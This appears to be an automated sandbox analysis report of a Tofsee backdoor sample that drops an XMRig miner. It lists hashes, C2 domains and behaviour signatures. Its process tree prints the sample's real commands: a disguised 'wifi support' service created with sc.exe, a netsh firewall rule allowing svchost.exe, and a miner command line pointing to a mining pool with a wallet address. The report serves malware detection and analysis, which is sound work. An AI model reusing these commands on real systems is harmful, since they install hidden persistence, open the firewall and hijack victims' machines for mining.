Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    09-05-2023 01:00

General

  • Target

    25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe

  • Size

    312KB

  • MD5

    097bc3c7d6f6f50a503fdb7a56e22a34

  • SHA1

    bc801204c76b73ee9e66a9a7bdffd856965604e0

  • SHA256

    25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef

  • SHA512

    7dedbefbe0a0af1d1541374a1a8916eb45d6037c15b8ae36ed28c4dfc0a9d22f5062b584b856b8d32cf5d675f1a718b31b029dc5abcea4c40d8925ae42f05eea

  • SSDEEP

    3072:6AX8ODio3+FCLQbFK+OCQ/KbqAjxBn7UJIdg6hO3Vd+eVRg/5wcw3P3XqT:vPDl5L0FKBDKbzBYd6upvG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe
    "C:\Users\Admin\AppData\Local\Temp\25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qjoestkn\
      2⤵
        PID:912
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\svslceyo.exe" C:\Windows\SysWOW64\qjoestkn\
        2⤵
          PID:1760
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qjoestkn binPath= "C:\Windows\SysWOW64\qjoestkn\svslceyo.exe /d\"C:\Users\Admin\AppData\Local\Temp\25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1288
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qjoestkn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:460
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qjoestkn
          2⤵
          • Launches sc.exe
          PID:1908
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:240
      • C:\Windows\SysWOW64\qjoestkn\svslceyo.exe
        C:\Windows\SysWOW64\qjoestkn\svslceyo.exe /d"C:\Users\Admin\AppData\Local\Temp\25ed67b390cafbd1ebcebed4c9cad13c38e6998c45e501e23d6652ac04bb69ef.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1748
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:540
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1144

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\svslceyo.exe

        Filesize

        10.5MB

        MD5

        d951df162f45662617ba7b9e3970422b

        SHA1

        7a3a031349f1ecb4c68123869838d1ad433e4f37

        SHA256

        acb085e74b2d797f63b2b2a56b4ac825903cf9fd571eb7aece302a99906388ab

        SHA512

        50c26eedf6dca2c17df7b7285d0629b90df6ca383e093d28b29640f83c31ff70b6325b0060896d719adb432bdadd79021b41a8c86974369dd6a74ddb45e8a6f0

      • C:\Windows\SysWOW64\qjoestkn\svslceyo.exe

        Filesize

        10.5MB

        MD5

        d951df162f45662617ba7b9e3970422b

        SHA1

        7a3a031349f1ecb4c68123869838d1ad433e4f37

        SHA256

        acb085e74b2d797f63b2b2a56b4ac825903cf9fd571eb7aece302a99906388ab

        SHA512

        50c26eedf6dca2c17df7b7285d0629b90df6ca383e093d28b29640f83c31ff70b6325b0060896d719adb432bdadd79021b41a8c86974369dd6a74ddb45e8a6f0

      • memory/540-88-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/540-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/540-89-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/540-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/540-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/540-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/540-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/540-71-0x0000000001990000-0x0000000001B9F000-memory.dmp

        Filesize

        2.1MB

      • memory/540-106-0x0000000000260000-0x0000000000267000-memory.dmp

        Filesize

        28KB

      • memory/540-75-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/540-90-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-81-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-82-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-83-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-84-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-85-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-86-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-87-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-74-0x0000000001990000-0x0000000001B9F000-memory.dmp

        Filesize

        2.1MB

      • memory/540-105-0x0000000005630000-0x0000000005A3B000-memory.dmp

        Filesize

        4.0MB

      • memory/540-78-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-91-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-92-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-93-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-94-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-95-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-96-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-97-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/540-98-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/540-101-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/540-102-0x0000000005630000-0x0000000005A3B000-memory.dmp

        Filesize

        4.0MB

      • memory/1144-111-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1144-112-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1144-123-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1144-124-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1144-122-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1144-121-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1144-119-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1144-120-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1308-60-0x0000000000400000-0x00000000006E9000-memory.dmp

        Filesize

        2.9MB

      • memory/1308-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1748-64-0x0000000000400000-0x00000000006E9000-memory.dmp

        Filesize

        2.9MB